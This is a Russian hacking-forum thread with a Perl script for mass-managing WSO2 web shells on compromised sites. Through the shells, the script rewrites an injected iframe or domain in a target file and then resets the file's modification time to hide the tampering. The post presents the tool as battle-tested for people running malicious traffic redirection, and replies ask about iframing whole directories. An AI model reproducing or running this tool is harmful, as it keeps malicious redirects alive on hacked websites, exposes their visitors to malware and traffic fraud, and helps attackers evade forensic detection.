WSO2 iframe changer

Discussion in 'PHP' started by Pashkela, 25 Feb 2010.

  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    WSO2 iframe changer

    PERL-скрипт

    Исключительно для WSO2

    https://forum.antichat.net/threadnav103155-1-10.html

    Делал для себя, испытан в боевых условиях, для тех, у кого нет TDS или проблемы с TDS или еще что, в общем оно может:

    1. Многопоточный

    2. Код шелла никак не трогается - можете работать сразу с вашими

    3. Принцип работы - меняет старый фрейм в определенном файле на новый (или любой другой текст, на ваше усмотрение)

    4. Поддерживаются как шеллы с паролем, так и без

    5. Алгоритм - все делается через один POST запрос (т.е. имитация вашей работы в шелле) через PHP-код - предусмотрено возможностями шелла

    6. Timeback(*nix/win) - наконец-то все делается автоматически! Речь идет о времени изменения файла. Т.е. сначала берется текущее время файла (тем самым вы уже избавлены от проверки изменения времени файла после вмешательства в его структуру), вносятся изменения и затем происходит откат времени.

    7. Возможность вести логи по каждому файлу на каждом хосте, или отключить их ведения (необходимо в тестовом режиме), скрин лога по одному файлу :

    [​IMG]

    8. Возможность выставить кодировку.

    9. Файл настроек - сам код + файл shells.txt
    С кодом все просто, файл shells.txt (пример):

    localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|1.txt
    localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|2.txt

    1) все параметры разделяются с помощью "|"

    1-й параметр: - хост, где ваш шелл
    2-й параметр: - путь до шелла относительно хоста (всегда начинается с "/")
    3-й параметр: - пароль на шелл
    4-й параметр: - абсолютный путь до файла с фреймом (в конце обязательно слеш)
    5-й параметр: - имя файла

    2) новый файл/хост - просто с новой строчки

    10. Ну и наконец сам код:
    Code:
    #!/usr/bin/perl - UTF-8 encoding
    ################################################################################################################
    #      WSO2 iframe changer by Pashkela [BugTrack Team] © 2010                                                  #
    ################################################################################################################
    use IO::Socket;
    use threads;
    use threads::shared;
    my $num : shared;
    ################################################################################################################
    #   Настройки                                                                                                  #
    ################################################################################################################
    $shells = 'shells.txt'; # файл с настройками
    $kol_threads = 10; # Кол-во потоков
    $timeout = 10; # таймаут в секундах
    $log = 1; # Вести логи по каждому файлу, 1 = true, 0 = false
    $old = '123'; # что меняем
    $new = 'some_new'; # на что меняем
    $charset = 'UTF-8'; # кодировка
    ################################################################################################################
    open(FILE, "<", $shells);
    while(<FILE>) {
        chomp;
        if($_) {push(@shells, $_)}
    }
    close(FILE);
    $size = @shells;
    ################################################################################################################
    if ($size < 10) {
       $thr = $size; 
    } else {
       $thr = $kol_threads; 
    }
    $num = -1; # Не меняется
    for(0..$thr) {
        $trl[$_] = threads->create(\&gets);
    }
    for(0..$thr) {
        $trl[$_]->join;
    }
    sub gets {
        $| = 1; 
    	while ($num < $size) {
            { lock($num);
            $num++; }
    		($shell_host,$shell_path,$pass,$path_to_frame_file,$file) = split(/\|/,$shells[$num]);
            $code = '$time_file=filemtime("'. $path_to_frame_file . $file .'");$content=file_get_contents("' . $path_to_frame_file . $file . '");$content = str_replace("' . $old . '","' .  $new . '", $content);file_put_contents("' . $path_to_frame_file . $file . '",$content);touch("' . $path_to_frame_file . $file . '", $time_file);';
    		frame(); 
        }
    	print $num . "\r";
    }
    sub req {
    	my($host, $path, $type, $data) = @_;
        my $sock = new IO::Socket::INET(
    			PeerAddr  => $host,
    			PeerPort  => 80,
    			PeerProto => 'tcp',
    			TimeOut   => $timeout);
        my $request = "$type $path HTTP/1.1\n".
        "Host: $host\n";
         $request .= "Content-type: application/x-www-form-urlencoded\n".
           "Content-Length: ".length($data)."\n\n".$data;
        print $sock $request;
        my $answ = undef;
        while(my $buf = <$sock>) {
            $answ .= $buf;
        }
        return $answ;
    }
    sub frame {
        $answ2 = req($shell_host, $shell_path, 'POST', "pass=$pass&a=Php&c=$path_to_frame_file&p1=$code&p2=&p3=&charset=$charset");  
           print "HOST: [" . $shell_host . "]\n";
    	   print "File: [" . $path_to_frame_file . $file . "]...[+]\n";
           print "-----------------------------------------------------------------------------------\n";
    	   if ($log == 1) {
    	       open( FILE, ">>" . "z_"  . $shell_host . "_" . $file . ".html" ); # Файл для записи результатов
       	       print FILE "==========================================================================\n";
    		   print FILE $answ2;
    		   close (FILE);
           }
    }
    
    PS: Предварительно настоятельно рекомендуется потестить локально. Замечания, критика и пожелания принимаются. Планету хакерам.

    PPSS: обычно что? Правильно, меняется только домен, в итоге:

    $old = 'старый_домен'; # что меняем
    $new = 'новый_домен'; # на что меняем
     
    #1 Pashkela, 25 Feb 2010
    Last edited: 25 Feb 2010
    2 people like this.
  2. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,181
    Likes Received:
    618
    Reputations:
    690
    Нужная прожка ) хорошо что скриптеГ а то если бы приложение и со стучалко то ))
    протестим ща...
     
    _________________________
  3. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    можешь сделать чтобы он ифреймил определенную директорию?
     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    все файлы? жесть. Ты наверное путаешь с ftp_iframer